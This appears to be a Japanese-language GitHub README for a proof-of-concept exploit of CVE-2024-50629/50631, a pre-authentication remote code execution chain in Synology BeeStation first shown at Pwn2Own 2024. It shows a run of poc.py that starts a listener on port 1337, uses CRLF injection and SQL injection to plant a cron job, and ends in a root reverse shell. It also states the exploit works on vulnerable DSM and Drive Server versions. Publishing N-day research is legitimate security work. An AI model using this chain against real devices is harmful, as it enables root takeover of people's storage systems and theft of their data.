kiddo-pwn/cve-2024-50629_50631DEVCOREによるSynology BeeStation RCEのN-day Exploit (Pwn2Own 2024)
Synology BeeStation における事前認証 RCE N-day エクスプロイト。
詳細: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1
$ python3 poc.py 192.168.88.248 192.168.88.254
[*] LISTENER listening on port 1337...
[*] CRLF username: kiddo.pwn
[*] AUTH access token: 2d6a6ecf6456f4b4787e50f5f0c0e648
[*] SQLI wrote: /etc/cron.d/pwn.task
[+] EXP shell will drop within 1 min...
bash: cannot set terminal process group (18187): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-4.4# hostname
hostname
BeeStation
bash-4.4#
注意: このエクスプロイトは、脆弱なバージョンの標準 DSM (7.2.2-72806) + Synology Drive Server (3.5.1-26101) でも同様に動作します。